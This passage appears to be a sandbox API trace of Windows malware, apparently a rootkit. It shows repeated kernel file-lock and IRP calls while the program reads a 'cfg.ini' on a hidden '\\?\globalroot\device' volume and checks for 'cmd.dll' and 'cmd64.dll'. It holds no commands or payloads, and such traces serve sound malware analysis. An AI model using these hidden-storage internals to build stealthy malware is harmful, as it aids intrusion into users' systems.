0xfffffa8003b863b0 [0129.766] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.766] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.766] IdePortDispatch () returned 0x103 [0129.766] KeWaitForMutexObject () returned 0x0 [0129.766] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.766] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.766] KeLeaveCriticalRegion () [0129.766] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.766] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.766] KeEnterCriticalRegion () [0129.766] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.766] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca7000 [0129.766] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.766] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.766] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.767] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.767] IdePortDispatch () returned 0x103 [0129.768] KeWaitForMutexObject () returned 0x0 [0129.768] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.768] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.768] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.768] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.768] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.768] IdePortDispatch () returned 0x103 [0129.768] KeWaitForMutexObject () returned 0x0 [0129.768] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.769] KeLeaveCriticalRegion () [0129.769] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.769] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.769] KeEnterCriticalRegion () [0129.769] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.769] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.769] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.769] KeLeaveCriticalRegion () [0129.769] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.769] KeEnterCriticalRegion () [0129.769] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.769] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.769] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07d30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.769] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.769] KeLeaveCriticalRegion () [0129.769] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.769] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.769] KeEnterCriticalRegion () [0129.769] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.769] ExFreePoolWithTag (P=0xfffffa8003c06320, Tag=0x0) [0129.769] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.769] KeLeaveCriticalRegion () [0129.769] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.770] ReleaseMutex (hMutex=0xf0) returned 1 [0129.770] Sleep (dwMilliseconds=0x124f80) [0129.785] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.785] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.785] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.785] KeEnterCriticalRegion () [0129.785] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.785] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.785] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.785] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.786] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.786] IdePortDispatch () returned 0x103 [0129.786] KeWaitForMutexObject () returned 0x0 [0129.786] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.786] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.786] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.786] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.786] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.786] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c07ad0 [0129.786] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.786] KeLeaveCriticalRegion () [0129.786] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.786] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.786] KeEnterCriticalRegion () [0129.786] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.786] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.786] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.786] KeLeaveCriticalRegion () [0129.786] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.786] KeEnterCriticalRegion () [0129.786] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.786] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.786] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.786] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.786] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.786] IdePortDispatch () returned 0x103 [0129.786] KeWaitForMutexObject () returned 0x0 [0129.787] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.787] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.787] KeLeaveCriticalRegion () [0129.787] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.787] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.787] KeEnterCriticalRegion () [0129.787] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.787] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cac000 [0129.787] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.787] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.787] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.787] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.787] IdePortDispatch () returned 0x103 [0129.787] KeWaitForMutexObject () returned 0x0 [0129.787] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.787] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.787] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.787] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.787] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.787] IdePortDispatch () returned 0x103 [0129.787] KeWaitForMutexObject () returned 0x0 [0129.787] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.787] KeLeaveCriticalRegion () [0129.787] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.788] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.788] KeEnterCriticalRegion () [0129.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.788] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.788] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.788] KeLeaveCriticalRegion () [0129.788] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.788] KeEnterCriticalRegion () [0129.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.788] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.788] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07be0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.788] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.788] KeLeaveCriticalRegion () [0129.788] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.788] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.788] KeEnterCriticalRegion () [0129.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.788] ExFreePoolWithTag (P=0xfffffa8003c07ad0, Tag=0x0) [0129.788] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.788] KeLeaveCriticalRegion () [0129.788] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.789] ReleaseMutex (hMutex=0xf0) returned 1 [0129.789] Sleep (dwMilliseconds=0x124f80) [0129.803] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.803] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.803] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.803] KeEnterCriticalRegion () [0129.803] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.803] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.803] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.803] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.803] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.803] IdePortDispatch () returned 0x103 [0129.803] KeWaitForMutexObject () returned 0x0 [0129.803] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.803] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.803] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.803] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.803] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.803] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c05270 [0129.803] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.803] KeLeaveCriticalRegion () [0129.803] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.803] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.803] KeEnterCriticalRegion () [0129.803] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.803] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.803] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.803] KeLeaveCriticalRegion () [0129.803] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.803] KeEnterCriticalRegion () [0129.803] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.803] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.803] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.803] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.803] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.803] IdePortDispatch () returned 0x103 [0129.804] KeWaitForMutexObject () returned 0x0 [0129.804] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.804] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.804] KeLeaveCriticalRegion () [0129.804] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.804] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.804] KeEnterCriticalRegion () [0129.804] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.804] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb1000 [0129.804] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.804] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.804] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.804] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.804] IdePortDispatch () returned 0x103 [0129.804] KeWaitForMutexObject () returned 0x0 [0129.804] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.804] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.804] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.804] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.804] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.804] IdePortDispatch () returned 0x103 [0129.804] KeWaitForMutexObject () returned 0x0 [0129.805] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.805] KeLeaveCriticalRegion () [0129.805] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.805] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.805] KeEnterCriticalRegion () [0129.805] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.805] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.805] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.805] KeLeaveCriticalRegion () [0129.805] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.805] KeEnterCriticalRegion () [0129.805] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.805] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.805] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.805] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.805] KeLeaveCriticalRegion () [0129.805] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.805] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.805] KeEnterCriticalRegion () [0129.805] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.805] ExFreePoolWithTag (P=0xfffffa8003c05270, Tag=0x0) [0129.805] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.805] KeLeaveCriticalRegion () [0129.806] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.806] ReleaseMutex (hMutex=0xf0) returned 1 [0129.806] Sleep (dwMilliseconds=0x124f80) [0129.821] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.821] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.821] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.821] KeEnterCriticalRegion () [0129.821] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.821] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.821] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.821] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.821] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.821] IdePortDispatch () returned 0x103 [0129.821] KeWaitForMutexObject () returned 0x0 [0129.822] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.822] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.822] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.822] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.822] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.822] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c07820 [0129.822] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.822] KeLeaveCriticalRegion () [0129.822] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.822] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.822] KeEnterCriticalRegion () [0129.822] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.822] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.822] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.822] KeLeaveCriticalRegion () [0129.822] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.822] KeEnterCriticalRegion () [0129.822] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.822] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.822] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.822] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.822] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.822] IdePortDispatch () returned 0x103 [0129.822] KeWaitForMutexObject () returned 0x0 [0129.822] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.822] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.822] KeLeaveCriticalRegion () [0129.822] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.822] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.822] KeEnterCriticalRegion () [0129.822] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.822] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb6000 [0129.822] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.822] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.822] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.822] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.822] IdePortDispatch () returned 0x103 [0129.823] KeWaitForMutexObject () returned 0x0 [0129.823] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.823] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.823] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.823] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.823] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.823] IdePortDispatch () returned 0x103 [0129.823] KeWaitForMutexObject () returned 0x0 [0129.823] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.823] KeLeaveCriticalRegion () [0129.823] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.824] _snprintf (in: 